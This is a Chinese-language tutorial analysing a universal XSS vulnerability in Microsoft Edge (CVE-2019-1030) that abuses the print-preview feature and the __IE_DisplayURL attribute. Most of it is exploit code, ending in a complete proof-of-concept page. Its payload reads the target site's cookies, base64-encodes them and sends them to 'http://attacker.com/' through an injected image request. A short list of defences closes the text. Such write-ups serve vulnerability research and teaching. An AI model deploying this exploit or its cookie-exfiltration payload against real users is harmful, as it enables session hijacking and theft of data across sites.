Microsoft Edge - Universal XSS
字数 965 2025-08-26 22:11:14
Microsoft Edge 通用XSS漏洞分析与利用教学文档
漏洞概述
本漏洞是Microsoft Edge浏览器中的一个通用XSS(uXSS)漏洞,利用浏览器的打印预览功能实现跨站脚本攻击。该漏洞允许攻击者在任意网站上下文中执行恶意JavaScript代码,绕过同源策略限制。
漏洞编号
- CVE-2019-1030
漏洞发现背景
通用XSS(uXSS)是一种利用浏览器或浏览器扩展漏洞来制造XSS条件并执行代码的攻击类型。此漏洞的独特之处在于它通过print()函数而非传统的iframe或URL相关技术被发现。
技术原理分析
打印预览机制
当调用window.print()时,Edge浏览器会:
- 将当前页面复制到临时位置
- 重新渲染该页面用于打印预览
- 在临时目录创建修改后的HTML文件
打印前后HTML变化
打印前示例:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{ window.print(); }
</script>
</body>
</html>
打印后变化:
- JavaScript被编码且不会执行
- iframe指向本地临时文件而非原始URL
- HTML元素添加了特殊属性
__IE_DisplayURL - 添加了打印相关的CSS样式
关键属性分析
__IE_DisplayURL属性:
- 用于标识文档的原始来源
- 使打印预览中的所有请求模拟原始网站行为
- 即使通过"file:" URI打开,仍保持原始网站权限
漏洞利用步骤
第一阶段:打印预览中执行JavaScript
- 利用
onbeforeprint事件注入iframe - iframe使用
javascript:协议URL - 在打印预览上下文中执行JavaScript
示例代码:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{ window.print(); }
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
第二阶段:构造UXSS攻击
- 在打印预览中检测到
file:协议 - 使用Blob URL创建自定义打印文档
- 设置
__IE_DisplayURL为目标网站(如bing.com) - 注入执行恶意代码的iframe
关键利用代码:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' }));
}, 1000)
}
伪造的打印文档:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html __IE_DisplayURL="https://www.bing.com/">
<head>
<meta content="text/html; charset=windows-1252" http-equiv=Content-Type>
<base href="https://www.bing.com/">
<style> html { font-family : "Times New Roman" } </style>
<style>iframe { width: 300px; height: 300px;}</style>
</head>
<body>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://attacker.com/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);"></iframe>
</body>
</html>
完整PoC
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- HTML for our blob -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html __IE_DisplayURL="https://www.bing.com/">
<head>
<meta content="text/html; charset=windows-1252" http-equiv=Content-Type>
<base href="https://www.bing.com/">
<style> html { font-family : "Times New Roman" } </style>
<style>iframe { width: 300px; height: 300px;}</style>
</head>
<body>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://attacker.com/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);"></iframe>
</body>
</html>
</textarea>
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
</body>
</html>
漏洞影响
- 窃取任意网站的cookie和敏感数据
- 在任意网站上下文中执行恶意操作
- 绕过同源策略限制
- 影响所有使用Edge浏览器访问恶意页面的用户
防御措施
- 及时更新Edge浏览器到修复版本
- 禁用不必要的JavaScript功能
- 使用内容安全策略(CSP)限制脚本执行
- 对敏感操作实施二次验证